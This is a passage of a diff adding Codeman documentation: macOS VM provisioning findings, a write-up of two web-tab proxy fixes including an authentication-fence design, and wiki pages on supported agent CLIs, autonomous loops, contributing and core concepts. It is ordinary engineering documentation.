+macOS path: seed-CDN IPSW (matched to the host build) → `VZMacOSInstaller` restore, ~25 min, first try → first boot with `VZMacGuestProvisioningOptions` creates an admin account with Remote Login on, no interaction needed, SSH reachable ~140 s later → key bootstrap over a one-time password login → guest shutdown/relaunch clean (the slot-leak bug did not reproduce) → GUI access fought through a port collision, a client-version incompatibility, the rendering dependency, and a self-inflicted session kill, ending with a browser-based path plus a guest hardened to auto-login and never lock.
+
+**Lifecycle verified (stop → start), 2026-07-30**: an in-guest `shutdown -h now` fires `guestDidStop` and the runner app exits on its own; relaunching from the same bundle boots the guest in ~2 minutes straight into an auto-logged-in desktop, and the VM slot is released cleanly (an immediate restart works, so the slot-leak bug did not bite). Two operational notes: the guest takes a **new NAT lease on every boot**, so any port-forward must be re-pointed (or use a vmnet DHCP reservation), and a host reboot resets `pmset -a disablesleep`.
+
+⚠ **Provisioning does NOT skip the per-user first-login assistant.** `VZMacGuestProvisioningOptions` skips the initial Setup Assistant (account creation, region, Apple Account) so the machine is immediately reachable, but the first time anyone actually logs into a desktop, macOS still presents its per-user wizard (Apple Intelligence, Siri, privacy, appearance, Touch ID). The operator hit exactly this. For a GUI-first product this MUST be pre-suppressed during base-image creation by writing `com.apple.SetupAssistant` keys for every account that will log in, and into `/System/Library/User Template/English.lproj/Library/Preferences/` so accounts created later inherit it.
+
+⚠ **A partial key list is worse than none**, because the wizard simply shows the panes you missed and the operator has to click through them again after every fresh login (we hit this twice). The set that finally silenced macOS 27 beta 4: `DidSeeCloudSetup`, `DidSeeSiriSetup`, `DidSeePrivacy`, `DidSeeAppearanceSetup`, `DidSeeTouchIDSetup`, `DidSeeAvatarSetup`, `DidSeeScreenTime`, `DidSeeApplePaySetup`, `DidSeeSafariImport`, `DidSeeAccessibility`, **`DidSeeActivationLock`, `DidSeeAppStore`, `DidSeeLockdownMode`** (the three easy to miss), plus the Express-Settings flags **`SkipExpressSettingsUpdating`** and **`SkipFirstLoginOptimization`**, and the version markers `LastSeenCloudProductVersion` / `LastSeenBuddyBuildVersion` / `PreviousSystemVersion` / `PreviousBuildVersion` matching the guest build. Verify afterwards by reading the domain back and checking that no `DidSee*` key is still `0`. Note these keys change between macOS releases, so base-image creation should re-verify per OS version rather than trust a hardcoded list.
+
+## 9. Design implications for Codeman's VM subsystem
+
+0. **GUI is a first-class mode, and for macOS guests it is the whole point (owner decision, 2026-07-29).** The subsystem serves real desktops, not only headless SSH boxes. macOS guests are GUI-only in practice (nothing renders without an attached view). Linux guests are supported in BOTH modes: GUI when the case wants a desktop, headless-over-SSH when it wants a cheap agent sandbox. The costs of the GUI path are in §8 "Display rendering": VMs as GUI apps in a live session, a host that never locks, guests that auto-login with their first-login wizard pre-suppressed, and the macOS concurrency cap as a real capacity limit.
+1. **The macOS-specific liabilities are accepted costs, not reasons to avoid macOS guests**: provisioning is macOS-only and first-boot-only, ASIF space reclamation is broken for macOS guests on the beta (use RAW disks for macOS guests until fixed), and the 2-VM cap applies. Plan around each: RAW-backed macOS disks, provisioning baked into base-image creation, and capacity limits surfaced in the UI.
+2. **Base immutability is not just hygiene, it is load-bearing**: DiskImageKit's UUID invalidation plus our sha-stability proof make a read-only shared base per image-generation the core artifact. Bases are built once (seed attached), then only ever opened `.readOnly` under per-case overlays.
+3. **Seed ISOs are a base-build-time tool only.** Never attach a seed to a routine case boot (correlated with boot hangs on the beta, and semantically wrong anyway since cloud-init already ran).
+4. **Per-case files**: overlay ASIF + EFI variable store live and die together with the case.
+5. **Export = ship the layer chain** (base ref + overlay + manifest), not flatten; there is no flatten API. In-guest `dd` to a fresh image is the fallback for a true single-file export.
+6. **Health checking must be lease/API based**, not serial/ping based, and Codeman's `codeman-vm status` should read `/var/db/dhcpd_leases` (or use vmnet DHCP reservations for deterministic per-case IPs, a macOS 26 API).
+7. **Run `fstrim` periodically in Linux guests** (or mount with discard) so overlays stay sparse.
+8. **Entitlements plist stays minimal** (exactly `com.apple.security.virtualization`) to dodge the AMFI/watchdog traps.
+9. **Expect beta churn**: pin findings to build numbers (this doc: 26A5388g) and retest each beta; the framework binaries changed every beta so far.
+10. **A macOS guest is only "ready" when its desktop is ready**, which is a stricter bar than "the VM booted". Readiness means: VM app running with a live WindowServer connection, guest auto-logged-in (not at a login or lock screen), first-login assistant suppressed, and the guest's screen sharing serving a non-black framebuffer. Health checks should sample the framebuffer for non-black content, because every failure mode in this session (headless run, locked host, dead WindowServer, locked guest, setup wizard) presents as a perfectly healthy-looking process with a black or useless screen.
+10b. **Supervision must run as a root LaunchDaemon.** A user LaunchAgent cannot launch a GUI app into the Aqua session; its restarts fail silently (child dies instantly, empty log, supervisor reports success). Root + `launchctl asuser <uid> sudo -u <user> …` works and the launched process persists. This bit us on the first supervisor implementation and is easy to repeat.
+
+11. **Remote-access plumbing belongs in the helper CLI, not in ad-hoc shell**: a `codeman-vm` implementation should own port selection (never 5900), forward lifecycle across guest IP changes (or better, vmnet DHCP reservations for stable per-case IPs), and a documented browser path, because every failure in this session came from hand-rolled plumbing rather than from the Virtualization APIs themselves.
+12. **Never let control-plane connectivity depend on a GUI session** on a remote Mac host: prefer a Tailscale system service over the App Store app, and keep a LAN-adjacent peer able to relay as an out-of-band recovery path.

+# Web tabs: two fixes (planned + implemented 2026-07-28)
+
+Both found against the saved dashboard
+`https://<your-host>.<your-tailnet>.ts.net:4000` (Bio-Hacking-Dashboard).
+Kept because the root-cause analysis of the second one is not obvious from the
+resulting diff.
+
+Status: **both implemented and verified end-to-end.** The one deliberate
+non-change is recorded at the bottom.
+
+---
+
+## Bug 1: saved URLs could not be deleted from the Run dropdown
+
+### What happened
+
+The "Web / URL" section of the Run dropdown listed every saved dashboard as a
+single clickable row whose only action was "open". Deleting required opening the
+dashboard as a tab, clicking the tab's gear, then Delete in the modal, so a URL
+you no longer wanted open at all could not be removed without first opening it.
+
+### What shipped
+
+- `renderWebviewMenuItems()` (`src/web/public/webview-tabs.js`) now renders each
+  saved URL as a `.run-mode-row--web` flex row: the open button, a gear
+  (`showWebviewModal`), and an `x` (`deleteWebviewById`). Nested buttons are
+  invalid HTML, hence the wrapper rather than a button inside a button.
+- `deleteWebview()` split into the modal entry point, the new row entry point
+  `deleteWebviewById(id)`, and the shared `_confirmAndDeleteWebview(id)`.
+- Both side buttons call `event.stopPropagation()` so the click does not also
+  open the dashboard.
+- The dropdown's outside-click handler (`session-ui.js`) closes when the click
+  target is not inside `#runModeMenu`, and the row is gone by the time the delete
+  resolves, so `deleteWebviewById` re-asserts `.active` on the menu. Verified in a
+  browser: deleting one of several URLs leaves you looking at the rest of the list.
+- CSS in `styles.css` (`.run-mode-row--web`, `.run-mode-row-btn`) plus a larger
+  touch target in `mobile.css`. The side buttons are permanently visible rather
+  than hover-revealed, because this menu is used on touch.
+
+No server change: `DELETE /api/webviews/:id` already existed, owner-scoped, and
+already revoked the capability and broadcast `WebviewChanged`.
+
+---
+
+## Bug 2: images did not load in a proxied dashboard
+
+### Reproduction (before the fix)
+
+```
+CAP=<from POST /api/webviews/<id>/open>
+# A) upstream direct                       -> 200 image/jpeg 118150
+curl -sk "https://<your-host>.<your-tailnet>.ts.net:4000/api/hero?slug=120-minutes-in-nature"
+# B) through the proxy prefix              -> 200 image/jpeg 118150
+curl -sk "https://localhost:3000/webview/$CAP/api/hero?slug=120-minutes-in-nature"
+# C) what the browser ACTUALLY requested   -> 404 {"errorCode":"NOT_FOUND"}
+curl -sk -H "Referer: https://localhost:3000/webview/$CAP/" \
+     "https://localhost:3000/api/hero?slug=120-minutes-in-nature"
+# D) same shape but NOT under /api         -> 200 (referer fallback rescues it)
+curl -sk -H "Referer: https://localhost:3000/webview/$CAP/" "https://localhost:3000/styles.css"
+```
+
+The proxy itself was fine (B). The failure was entirely about which URL the
+browser ended up requesting (C).
+
+### Root cause
+
+The dashboard builds its image markup at runtime with root-absolute URLs:
+`c.innerHTML = '<img class="thumb" src="/api/hero?slug=...">'`, `img.src =
+slideSrc(...)` returning `/api/slide?owner=...`, `/api/story`, `/api/video`, and a
+nested `<iframe src="/api/preview?slug=...">`.
+
+All three rewrite layers missed that shape:
+
+1. `<base href="/webview/<cap>/">` only affects **relative** URLs. A root-absolute
+   `/api/hero` ignores the base path and resolves against Codeman's origin.
+2. `rewriteHtml()` only runs over the **initial HTML document**. This markup is
+   created later by page script. (The static header `<img src="/api/logo">` DID
+   work, having been rewritten at proxy time, which is why only the
+   runtime-injected images were broken.)
+3. `runtimeUrlShim()` patched only `fetch`, `XMLHttpRequest.open`, `WebSocket` and
+   `EventSource`, so the dashboard's **data** loaded while its **pictures** did
+   not.
+
+The safety net was fenced off from `/api` in two places, both deliberate:
+`server.ts`'s not-found handler returns the API-envelope 404 before reaching
+`tryWebviewRefererFallback`, and `middleware/auth.ts` refuses the Referer-form
+auth exemption for `/api/`, `/ws/`, `/q/`.
+
+### What shipped
+
+`runtimeUrlShim()` in `src/web/webview-proxy.ts` now also covers the DOM sinks, so
+a root-absolute `/api/...` request is never emitted in the first place and neither
+security fence had to move:
+
+- `innerHTML` / `outerHTML` / `insertAdjacentHTML` (and `ShadowRoot.innerHTML`),
+- `setAttribute` / `setAttributeNS`,
+- the `src`/`srcset`/`href`/`poster`/`data`/`action` property setters on img,
+  source, media, video poster, script, iframe, embed, track, link, anchor, area,
+  object and form,
+- a `MutationObserver` as a last net for any sink not patched above (it costs one
+  wasted 404 per node, since the browser starts fetching on insert, so it is a net
+  and not the mechanism).
+
+Two details that mattered:
+
+- Every rewrite routes through the existing idempotent `rw()` rather than a blind
+  prefix concat. The first draft used the server-side regex shape and
+  double-prefixed markup that was already proxied (a page re-injecting its own
+  `outerHTML`); the jsdom test caught it.
+- Everything stays inside `try`/`catch` and is marked `__cmrw`, so a double
+  injection cannot wrap an already-wrapped setter, and nothing can throw into a
+  page we do not control.
+
+### Verification
+
+- `test/webview-proxy.test.ts` gained a jsdom `runtimeUrlShim DOM sinks` block:
+  innerHTML, insertAdjacentHTML, property setters, setAttribute, srcset candidate
+  lists, the MutationObserver net via an unpatched sink
+  (`createContextualFragment`), idempotence, re-injected markup, empty `src`, and
+  the pass-throughs (relative, cross-origin, `#hash`, `data:`). 73 tests pass.
+- End-to-end in a real browser against an isolated instance
+  (`CODEMAN_INSTANCE=wvtest`, port 3151), with prod's old build as the negative
+  control:
+
+  | | before (prod, old build) | after (fixed) |
+  | --- | --- | --- |
+  | images found | 693 | 693 |
+  | src under the proxy prefix | 0 | 693 |
+  | in-viewport images decoded | 0 / 23 | 23 / 23 |
+  | sample src | `/api/hero?slug=...` | `/webview/<cap>/api/hero?slug=...` |
+
+  (The dashboard marks thumbs `loading="lazy"`, so only in-viewport images are
+  ever fetched. All 27 proxied image responses returned 200.)
+
+---
+
+## Follow-up (same day): the `/api` referer fallback, done safely
+
+Originally deferred, then implemented on request. Both gates had to move, and the
+auth one is the security-sensitive half: auth runs in `onRequest`, before routing,
+so it cannot tell a real Codeman API route from a 404, and simply dropping the
+`/api` fence would let a page holding a capability forge a `Referer` and reach
+Codeman's **real** API unauthenticated.
+
+What shipped:
+
+- `server.ts`: `tryWebviewRefererFallback` is tried **before** the API-shaped 404.
+  Reaching that handler already proves no route matched, and the relay declines
+  unless the `Referer` carries a live capability, so unknown `/api` paths still
+  get the envelope.
+- `middleware/auth.ts`: the `/api/` prefix refusal is replaced by
+  `matchesRegisteredRoute()`, which refuses the exemption for any path that
+  resolves to a real route. `/ws/` and `/q/` stay refused by prefix.
+
+Two findings that decided the implementation, both established by probing Fastify
+rather than by reading its docs:
+
+- **`hasRoute()` is the wrong tool and would have been a hole.** It matches the
+  registered PATTERN literally, so `hasRoute({url: '/api/sessions/abc'})` returns
+  false against a registered `/api/sessions/:id` and would have handed out an
+  exemption on a live, session-scoped API route. `findRoute()` performs the real
+  radix-tree lookup and is what the fence uses.
+- **`@fastify/static` is mounted at `/`, so it registers a root catch-all that
+  matches every path.** A match on it means "heading for the 404 handler", not
+  "real route", and it is distinguishable because a root catch-all is the only
+  route whose `*` param comes back equal to the whole request path. Without that
+  carve-out the fence would have refused every referer-form request and broken the
+  rescue that already worked.
+
+The fence fails closed, and `test/webview-auth-exemption.test.ts` pins both edges
+(a concrete URL onto a parametric API route stays 401; the dashboard's own
+`/api/...` namespace is served).
+
+### And the CSS gap, which the fallback could NOT close
+
+Testing the fallback against a purpose-built upstream showed the runtime-injected
+stylesheet case is unreachable by any relay: a `<style>` element has no URL of its
+own, so Chromium sends an **empty `Referer`** with the image request it triggers
+and there is nothing to key on. Measured directly:
+
+| sink | Referer the browser sends | fixed by |
+| --- | --- | --- |
+| `url()` in a proxied `.css` | the stylesheet's proxied URL | the referer relay |
+| `url()` in a runtime `<style>` | *empty* | `rwCss()` in the shim |
+
+So the shim also rewrites `url()` inside `<style>` blocks, both when they arrive as
+markup and when a `<style>` node is inserted (via the existing MutationObserver).
+
+The only gap left is self-navigation via `location.href = '/x'`, which cannot be
+patched because `Location.href` is unforgeable.

+# Agent CLIs
+
+Codeman drives seven run modes: six agent CLIs plus a plain shell. This page covers picking
+one, setting it up, and the differences that actually change how you work.
+
+## The seven modes
+
+| Mode                 | CLI                          | Get it                                                                 |
+| -------------------- | ---------------------------- | ---------------------------------------------------------------------- |
+| **Claude Code**      | `claude`                     | [docs.anthropic.com](https://docs.anthropic.com/en/docs/claude-code)   |
+| **OpenCode**         | `opencode`                   | [opencode.ai](https://opencode.ai)                                     |
+| **Codex**            | `codex`                      | [developers.openai.com/codex/cli](https://developers.openai.com/codex/cli) |
+| **Gemini**           | `gemini`                     | [github.com/google-gemini/gemini-cli](https://github.com/google-gemini/gemini-cli) |
+| **Antigravity**      | `agy`                        | [antigravity.google](https://antigravity.google)                       |
+| **Pi**               | `pi`                         | [pi.dev](https://pi.dev)                                               |
+| **Terminal / Shell** | your `$SHELL`                | Already installed.                                                     |
+
+Any combination works, including all of them. The run mode is chosen per session from the
+arrow beside the **Run** button, so one case can have a Claude session and a Codex session
+open side by side.
+
+## Codeman does not manage your logins
+
+Install each CLI yourself and log it in once by hand. Codeman never collects, stores, or
+refreshes your CLI credentials. It launches the binary and attaches to the result.
+
+The one place credentials are touched is [Docker Cases](Docker-Cases), where host
+credentials are copied into a container read-only at launch so you do not have to log in
+again inside it. Even there, the container keeps its own copies and never writes back to
+your host credential stores.
+
+## Making a CLI visible to Codeman
+
+Codeman resolves each binary from the environment the **server** runs in, which is not
+necessarily the shell you tested in.
+
+```bash
+codeman doctor          # what Codeman can actually see
+codeman doctor --json
+```
+
+If a CLI is installed but a Run button for it never appears:
+
+1. Check `which <cli>` in a plain login shell, not just your interactive one.
+2. If Codeman runs as a service, remember that launchd hands a job
+   `/usr/bin:/bin:/usr/sbin:/sbin`. `codeman service install` bakes your PATH into the unit
+   precisely to avoid this; a hand-written plist or unit will not.
+3. Restart the server after installing a new CLI.
+
+`pi` is additionally version-probed rather than trusted by name, because `pi` is a generic
+enough command that something else on your PATH may answer to it.
+
+## Claude is the reference mode
+
+A number of Codeman features exist only for Claude sessions. This is structural, not a
+backlog: they depend on Claude Code's hook system, or on parsing Claude's specific terminal
+output. The other CLIs expose no equivalent.
+

+
+Everything that makes a session a session works everywhere. What is Claude-only is mostly
+the machinery that needs to know *what* the agent is doing rather than *that* it is doing
+something.
+
+## Per-CLI notes
+
+### Claude Code
+
+The defaults you will care about, all under **App Settings**:
+
+- **Model** (Models section). Written into the case's `.claude/settings.local.json` as a
+  soft default, so `/model` still works mid-session. The 1M-context Opus variant is a
+  switch on the model card rather than a separate model.
+- **Effort** (`low` through `max`) or **ultracode** for dynamic multi-agent workflows. Also
+  a soft default: `/effort` overrides it any time. Effort is deliberately not passed as an
+  environment variable, because that would hard-lock it and block in-session switching.
+- **Startup permission mode** (Agents & CLIs section). The default is
+  `--dangerously-skip-permissions`, which is why the security model matters. You can switch
+  new sessions to Anthropic's classifier-guarded `auto` mode, normal prompting, or an
+  explicit allowed-tools list.
+
+**Separate Claude accounts per session.** Set `CLAUDE_CONFIG_DIR` in a session's environment
+overrides to point it at a different Claude config directory, which is how you run one
+session on a client's subscription and another on your own. One caveat: a relocated config
+directory writes transcripts outside `~/.claude/projects`, which blinds the response viewer,
+subagent windows, ultracode panel, and Read My Mind for that session. Symlink `projects`
+back into the shared tree to keep them working:
+
+```bash
+ln -s ~/.claude/projects <configDir>/projects
+```
+
+### OpenCode
+
+Renders its own TUI, so Codeman treats readiness as output stabilization rather than
+watching for a prompt marker. Requires tmux, with no direct-PTY fallback, because its
+environment is injected through socket-scoped `tmux setenv` rather than the command line.
+
+Integration detail: [`docs/opencode-integration.md`](https://github.com/Ark0N/Codeman/blob/master/docs/opencode-integration.md).
+
+### Codex
+
+Two behaviours that are deliberate and worth knowing:
+
+- **Predictive echo instead of buffered echo.** Codex's composer reacts to every keystroke,
+  a `/` opens a live-filtering picker, arrows edit server-side state. Buffering keystrokes
+  until Enter starved it, so Codex paints each keystroke at the predicted cell while the
+  bytes on the wire stay byte-identical to what you typed.
+- **The wheel is not forwarded** into its transcript. Codex ignores the mouse reports
+  Codeman would send, so forwarding produced a dead wheel. Scrolling in a Codex session is
+  local scrollback.
+
+### Gemini
+
+Enterprise only, since Google's June 2026 consumer cutover. Its environment allowlist
+includes the broad `GOOGLE_*` namespace, deliberately, because Vertex AI authentication
+needs `GOOGLE_CLOUD_PROJECT`, `GOOGLE_APPLICATION_CREDENTIALS`, and
+`GOOGLE_GENAI_USE_VERTEXAI`. That is the loosest allowlist entry in Codeman and it affects
+only the CLI you spawned yourself.
+
+### Antigravity
+
+Google's successor to the consumer Gemini CLI, invoked as `agy`. It keeps all of its state
+in `~/.gemini/antigravity-cli/`, so the credential handling that applies to Gemini applies
+to it as well.
+
+### Pi
+
+Pi needs the opposite instincts from every other CLI here.
+
+- **It has no permission prompts and no sandbox.** There is no bypass flag to send, and
+  Codeman does not invent one.
+- **Its privileged setting is project trust**, a three-way `--approve` / `--no-approve` /
+  unset. Approving trust makes Pi **execute repo-local `.pi/extensions` TypeScript**, so
+  point it at a repository you trust. In multi-user mode, a user without an explicit grant
+  gets `--no-approve` even when no configuration exists.
+- **Authentication is `/login` inside the session**, or the server process's own
+  environment. Pi's roughly 34 provider keys (`ANTHROPIC_API_KEY`, `OPENAI_API_KEY`,
+  `HF_TOKEN`, and so on) share no common prefix, and the environment allowlist is global
+  rather than per mode, so admitting them for Pi would widen the allowlist for every mode at
+  once. They stay out.
+
+Guide: [`docs/pi-integration.md`](https://github.com/Ark0N/Codeman/blob/master/docs/pi-integration.md).
+
+### Terminal / Shell
+
+A plain shell in a tmux session. No agent, no hooks, no idle detection.
+
+On phones a shell session automatically swaps the keyboard accessory bar for terminal
+controls: Ctrl, Esc, Tab, arrows, paste. **Ctrl is a one-shot modifier**: tap it, then tap a
+letter, and the control byte is sent. It disarms on use, on a second tap, on any other
+accessory key, on a session switch, and when the keyboard closes. Details in
+[Mobile Guide](Mobile-Guide).
+
+## Environment overrides
+
+Per-session environment variables are set when creating a session and persist across
+respawns. Which variables are accepted depends on the mode:
+
+| Mode        | Allowed prefixes                  |
+| ----------- | --------------------------------- |
+| Claude      | `CLAUDE_CODE_*`, plus the exact key `CLAUDE_CONFIG_DIR` |
+| OpenCode    | `OPENCODE_*`                      |
+| Codex       | `CODEX_*`                         |
+| Gemini      | `GEMINI_*`, `GOOGLE_*`            |
+| Antigravity | `ANTIGRAVITY_*`                   |
+| Pi          | `PI_*`                            |
+
+Anything outside the allowlist is rejected at the schema. This is intentional: the allowlist
+is one global list, so widening it for one CLI widens it for all of them.
+
+Two things that deliberately do **not** travel as environment variables: **effort**, because
+an environment variable hard-locks it and blocks `/effort`, and **model**, which is written
+into the case's `.claude/settings.local.json` so that `/model` keeps working.
+
+## Choosing a mode
+
+- **Claude Code** if you want every Codeman feature. Unattended overnight runs, usage-limit
+  auto-resume, the Approvals Inbox, and subagent visualization all assume it.
+- **Codex, OpenCode, Gemini, Antigravity** when you prefer that agent or that model. You get
+  the session layer, respawn, cron, Docker, and remote SSH; you do not get the hook-driven
+  features.
+- **Pi** if you want a fast, unsandboxed agent and you understand what project trust does.
+- **Shell** for the times you want a terminal on your phone with no agent at all. It is a
+  genuinely useful mode, not a fallback.

+# Autonomous Loops
+
+Two features that go further than "keep the session going": the **Ralph loop**, which works
+a task list to completion in one session, and the **Orchestrator**, which turns a goal into
+a phased plan and drives it across agents.
+
+Both are Claude-only, both are off by default, and neither is where to start. If what you
+want is an agent that keeps working overnight, that is
+[Keeping Agents Running](Keeping-Agents-Running), and it is simpler, better understood, and
+what most people actually use.

+
+## The Ralph loop
+
+Named after the Ralph Wiggum pattern: keep feeding the agent its own task list until the
+list is empty.
+
+The shape of it:
+
+- The task list lives in a plan file in the case, conventionally `fix_plan.md`.
+- Each cycle the agent reads the plan, works the next incomplete task, and marks progress.
+- Codeman watches the file, tracks todos, and detects stalls.
+- The loop ends when the agent signals completion, when the iteration cap is reached, or
+  when you stop it.
+
+Start it from **Session Options → Ralph / Todo**, or from the wizard on the welcome screen.
+
+| Setting                | What it does                                                             |
+| ---------------------- | ------------------------------------------------------------------------ |
+| Max iterations         | Hard ceiling on cycles.                                                   |
+| Max todos              | Cap on tracked tasks, default 500, oldest evicted first.                   |
+| Todo expiration        | Auto-expiry for stale todos, default 60 minutes.                           |
+| Plan file              | Which file holds the task list.                                            |
+
+A **circuit breaker** sits behind it to stop respawn thrashing: it moves from closed to
+half-open to open, and is reset explicitly from the session's Ralph controls.
+
+Honest assessment: Ralph is functional but is not where development attention goes. It
+predates the respawn presets, which cover most of what people originally used it for with
+less ceremony. Treat it as a specialised tool rather than the headline feature.
+
+Full background, including the upstream pattern it is based on:
+[`docs/ralph-wiggum-guide.md`](https://github.com/Ark0N/Codeman/blob/master/docs/ralph-wiggum-guide.md).
+
+## The Orchestrator
+
+A state machine that turns one goal into a phased plan and drives it to completion:
+
+```
+idle → planning → approval → executing → verifying → (replanning) → completed / failed
+```
+
+- **Planning** turns your goal into phases.
+- **Approval** is yours. You see the plan before anything runs.
+- **Executing** runs each phase, using team agents and the task queue.
+- **Verifying** gates each phase before the next one starts. A failed gate can send it back
+  to replanning rather than forward.
+
+Open it from the Orchestrator panel in the toolbar. State persists in `state.json`, so a
+server restart does not lose an in-flight plan.
+
+Where it differs from Ralph: Ralph is one session grinding a list, the Orchestrator
+coordinates phases and agents with verification between them. It suits work that has a
+natural shape ("migrate this, then update callers, then update the tests") rather than a
+flat backlog.
+
+Architecture: [`docs/orchestrator-loop-architecture.md`](https://github.com/Ark0N/Codeman/blob/master/docs/orchestrator-loop-architecture.md).
+
+## Running any of this safely
+
+Autonomous loops are the features most able to spend money and change code while you are not
+looking. Some habits that pay off:
+
+- **Run them in a case that is a git repository**, on a branch you are willing to throw
+  away. Being able to read the diff afterwards is the whole safety net.
+- **Consider a container.** [Docker Cases](Docker-Cases) gives the agent its own filesystem
+  and network, and one checkbox is all it costs.
+- **Set the iteration cap deliberately.** It is the ceiling on the spend.
+- **Turn on notifications** so a blocked loop reaches you: see
+  [Notifications And Approvals](Notifications-And-Approvals).
+- **Read the run summary and lifecycle log afterwards**, not just the final diff. They show
+  where it went sideways and recovered.
+
+## Read next
+
+- [Keeping Agents Running](Keeping-Agents-Running) - the simpler feature that usually fits better.
+- [Watching Agents Work](Watching-Agents-Work) - seeing what a loop is doing while it runs.

+
+## Dev setup
+
+```bash
+git clone https://github.com/Ark0N/Codeman.git
+cd Codeman
+npm install        # postinstall builds the vendored xterm addon bundles
+npm run dev        # http://localhost:3000
+```
+
+Requirements: Node 22+, tmux, and at least one agent CLI on your PATH.
+
+The frontend is plain JavaScript with no bundler in dev: edit a `.js` or `.css` file and
+reload. The exception is `index.html`, which is read once at server start, so markup changes
+need a restart.
+
+## Before you push
+
+CI runs all of these, so running them locally saves a round trip:
+
+```bash
+npm run typecheck
+npm run lint
+npm run format:check
+npm run check:frontend-syntax
+npm test -- test/<file>.test.ts   # one file, the normal way
+npm run test:ci                    # the full CI sweep
+```
+
+**Never run bare `npm test`.** The default configuration includes browser-driven Playwright
+suites that need a live server, Chromium, and environment-specific baselines; they hang or
+fail on a normal machine. `test:ci` is the honest "run everything".
+
+Tests are tmux-safe by design: under vitest the tmux layer becomes an in-memory mock, so
+tests cannot touch real sessions. If you add a test that binds a port, pick a unique one at
+3150 or above, and never 3000.
+
+## Finding your way around
+
+- Every source file opens with a `@fileoverview` block. Read it before the file; it is the
+  map.
+- [`CLAUDE.md`](https://github.com/Ark0N/Codeman/blob/master/CLAUDE.md) at the repo root is
+  the densest architecture primer there is. It is written for AI coding agents, but its
+  invariants apply identically to humans, and most review feedback traces back to something
+  already written there.
+- [`docs/architecture-invariants.md`](https://github.com/Ark0N/Codeman/blob/master/docs/architecture-invariants.md)
+  holds the deep mechanisms and the history behind each rule.

+## Good first contributions
+
+- **A theme skin.** A skin is four things kept in sync, and a static test checks the sync, so
+  if the test passes your skin works.
+- **A language.** The i18n module is dependency-free, English is canonical, and Simplified
+  Chinese is a complete example to copy.
+- **Docs.** If you got stuck and then figured it out, the sentence that would have unstuck
+  you is a pull request.
+- Anything labelled
+  [good first issue](https://github.com/Ark0N/Codeman/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22).
+
+Worth discussing first: new CLI backends, and real-device testing reports, especially
+mobile, which always find things emulation cannot.
+
+## PR expectations
+
+- One change per PR. Small and focused reviews fast; a grab bag stalls.
+- Target `master`.
+- **Keep your branch mergeable.** A PR with conflicts silently gets no CI runs at all, which
+  is a GitHub quirk rather than a Codeman one. Rebase when conflicts appear.
+- Include or update tests when you change behaviour.
+- Do not bump versions or edit the changelog; releases are handled after merge.
+- AI-assisted contributions are welcome, with one condition: understand what you are
+  submitting, and actually run it. "The model said it works" is not a test.
+
+## Fixing this wiki
+
+These pages are generated from
+[`docs/wiki/`](https://github.com/Ark0N/Codeman/tree/master/docs/wiki) in the main
+repository, and pushed here automatically when master changes.
+
+**Editing a page in the browser will be overwritten by the next sync.** Send a pull request
+against `docs/wiki/` instead. It is plain markdown, and a documentation PR is a genuinely
+useful contribution.
+
+Conventions for wiki pages:
+
+- Links between pages use the wiki form: `[Remote Access](Remote-Access)`, no `.md`.
+- Links into the repository are absolute `https://github.com/Ark0N/Codeman/blob/master/...`
+  URLs.
+- Images are referenced from the main repository over raw URLs rather than being copied into
+  the wiki.
+- Say what the default is, especially when it is off. Most of Codeman is opt-in.
+- Label Claude-only behaviour every time it appears. Six of the seven run modes are not
+  Claude.
+
+## Conduct
+
+Be kind, be direct, assume good faith. Report unacceptable behaviour privately via the
+contact in
+[SECURITY.md](https://github.com/Ark0N/Codeman/blob/master/.github/SECURITY.md).

+# Core Concepts
+
+The five ideas the rest of the manual assumes: cases, sessions, run modes, location
+overlays, and tmux. Plus what actually persists, and where it lives on disk.
+
+## Case
+
+A **case** is a named working directory that Codeman remembers. It is the unit you pick in
+the toolbar before hitting Run, and every session belongs to exactly one.
+
+A case is not a container or a sandbox. It is a folder plus a name plus a little
+Codeman-side configuration:
+
+- Which CLI the Run button should default to.
+- Per-case toggles (Agent Teams, 1M Opus context).
+- Where it runs, if it is not the local filesystem: see [Location overlays](#location-overlays).
+
+Three ways to get one, all under **+** next to the case picker:
+
+| How               | Result                                                                                                 |
+| ----------------- | ------------------------------------------------------------------------------------------------------ |
+| **Create New**    | A fresh `~/codeman-cases/<name>` with a scaffolded `CLAUDE.md`.                                          |
+| **Clone Repo**    | A public repo cloned into `~/codeman-cases/<name>` and registered as a case.                            |
+| **Link Existing** | An existing folder anywhere on disk, registered in place. Nothing is copied or moved.                    |
+
+Linked cases keep living where they are. Deleting a case in Codeman removes the
+registration, and for a linked case that is all it removes.
+
+**Cases created from scratch are the only copy of that code.** Uninstalling Codeman does not
+delete `~/codeman-cases/`, but treat that directory as real work, not scratch space.
+
+## Session
+
+A **session** is one CLI process running in one tmux session, streamed to your browser.
+
+Sessions are named `w<n>-<case>`, so `w1-myproject` is the first worker in the `myproject`
+case. Each has a stable id, and that id is what the API, the wait primitives, and every
+event use.
+
+Several sessions can share one case. That is the normal way to parallelize: three workers
+in the same repo, three tabs, one case.
+
+A session carries state the case does not:
+
+- Its run mode, model, effort level, and environment overrides.
+- Its respawn configuration and Ralph loop state.
+- Its terminal scrollback.
+- Its owner, in [Multi-User Mode](Multi-User-Mode).
+
+## Run mode
+
+The **run mode** is which CLI the session runs: `claude`, `opencode`, `codex`, `gemini`,
+`antigravity`, `pi`, or `shell`. It is chosen at start and does not change afterwards; to
+switch, start another session.
+
+Claude is the reference mode. Six of the seven are not Claude, and a number of Codeman
+features are Claude-only for structural reasons rather than missing effort: they depend on
+Claude Code's hook system or on parsing its terminal output. Every such feature is labelled
+Claude-only where it appears, and [Agent CLIs](Agent-CLIs) lists them in one place.
+
+## Location overlays
+
+Where a case runs is **separate from** which CLI it runs. There are three locations:
+
+| Location       | What happens                                                                                                 |
+| -------------- | ------------------------------------------------------------------------------------------------------------ |
+| **Local**      | The default. tmux and the CLI run on the Codeman host.                                                        |
+| **Docker**     | One long-lived container per case; sessions `docker exec` into it. See [Docker Cases](Docker-Cases).           |
+| **Remote SSH** | A durable tmux server on the remote host, fronted by a local pane running `ssh`. See [Remote SSH Sessions](Remote-SSH-Sessions). |
+
+This matters because it is a common source of confusion: Docker is **not** an eighth run
+mode. All seven run modes work in all three locations. A case is docker-backed or
+ssh-backed; a session is claude or codex or shell.
+
+**Web tabs** are the other thing that is not a session. A saved dashboard URL renders as a
+tab beside your agents, but there is no PTY, no tmux, and no respawn behind it. See
+[Web Tabs](Web-Tabs).
+
+## Why tmux
+
+tmux is a hard requirement, and it is the reason Codeman behaves the way it does.
+
